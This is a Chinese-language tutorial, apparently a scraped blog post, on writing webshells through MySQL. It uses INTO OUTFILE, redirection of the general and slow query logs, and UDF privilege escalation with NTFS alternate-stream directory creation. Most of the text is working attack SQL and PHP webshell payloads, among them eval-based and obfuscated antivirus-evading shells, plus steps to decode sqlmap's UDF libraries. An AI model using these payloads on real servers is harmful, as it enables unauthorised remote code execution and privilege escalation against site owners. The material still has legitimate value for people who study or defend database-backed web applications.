赞
踩
1、通过将sql语句导出文件的方式(备份)
mysql5.5以上默认,secure_file_priv为null,secure_file_priv=null 表示所有文件路径均不允许导出。'空'可任意导出,值应该设置为什么都没有(删除)才能消除mysql自身的写拦截。/tmp指定路径导出,对web目录是否有写权限。
mysql root
linux root
中间件 www-data
假设联合查询
select 1,2,'' into outfile "web根目录绝对路径";
非联合查询(报错、盲注)
select * from users where id=1 into outfile 'C:\cnmdb2.php' lines terminated by 'php代码(也可写 16进制)';
2、普通日志导出
原理:更改默认日志路径导出webshell
- show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址
- (记下原地址方便恢复)
- set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
- set global general_log_file = '/var/www/html/info.php'; --设置日志路径
- select '<?php phpinfo();?>'; --执行查询,写入shell
- --结束后,恢复日志路径,关闭日志监测
- --SQL查询免杀shell
- select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";
- SELECT "<?php $p =
- array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a =
- array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_=
- 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
3、慢查询写shell
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
- show variables like '%slow_query_log%'; --查看慢查询信息
- set global slow_query_log=1; --启用慢查询日志(默认禁用)
- set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路
- 径
- select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell
udf提权
基础、步骤和过程
udf(user defined function),用户自定函数,win/lin环境下均可使用,使用动态链接库.dll或.so,放置对应 文件到mysql安装目录中\lib\plugin目录下
一般来说lib目录和plugin目录需要用户自建(高版本无lib\plugin目录),也可使用NTFS流创建,在数据 库中加载动态连接库中的sys_eval或sys_exec函数即可执行操作系统命令。
通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执 行,mysql的用户自定义函数存放mysql根目录下的/mysql/lib/plugin里面,这里面存储着mysql的动态 链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll' 命令将该库文件中的函数导入,才能使用该函数,就像python里面 的导入模块、方法一样。
条件
①动态连接库文件
这个udf.dll 不需要我们自己编写,可以利用sqlmap\msf等工具为我们提供的。
②shell
进行udf提权的前提是我们已经获得了一个网站的webshell或数据库的权限.
③高权限dbms账户
获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php这类文件。
④对数据库插件目录的写权限
动态链接库文件获取
我们从两个地方获取动态链接库文件:sqlmap、/usr/share/sqlmap/data/udf/mysql/linux/64/
sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak目录下执行下面命令才能生 效。
python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so metesploit。
/usr/share/metasploit-framework/data/exploits/mysql
1.3 查看插件目录位置
我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin
也可以通过在sqlshell中执行,select @@plugin_dir
插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在 windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带,select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server5.1\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server
5.1\lib\plugin::$INDEX_ALLOCATION';
/利用NTFS ADS创建plugin目录
1.4 动态连接库文件导入
在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建 文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录
1.5 将函数导入mysql
create function sys_eval returns string soname '插件文件名称'
查看命令执行效果
可以看到成功执行了系统命令
1、在windows环境下当mysql版本>5.2时,udf的导出路径为,%MySQL%\Lib\Plugin\,且默认无此目 录,可尝试适用ntfs创建目录。
select ‘xxx’into outfile "mysql目录\lib::$INDEX_ALLOCATION";//使用ntfs创建目录
select ‘xxx’into outfile "mysql目录\lib\plugin::$INDEX_ALLOCATION"
然后以导出日志形式将dll文件导出至\lib\plugin目录
select * from users where id=1 into outfile 'C:\mysql\lib\plugin\test.dll' lines terminated by 'shellcode[udf]';
2、在数据库权限比中间件权限高的情况下使用udf提权。最终权限为数据库权限。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。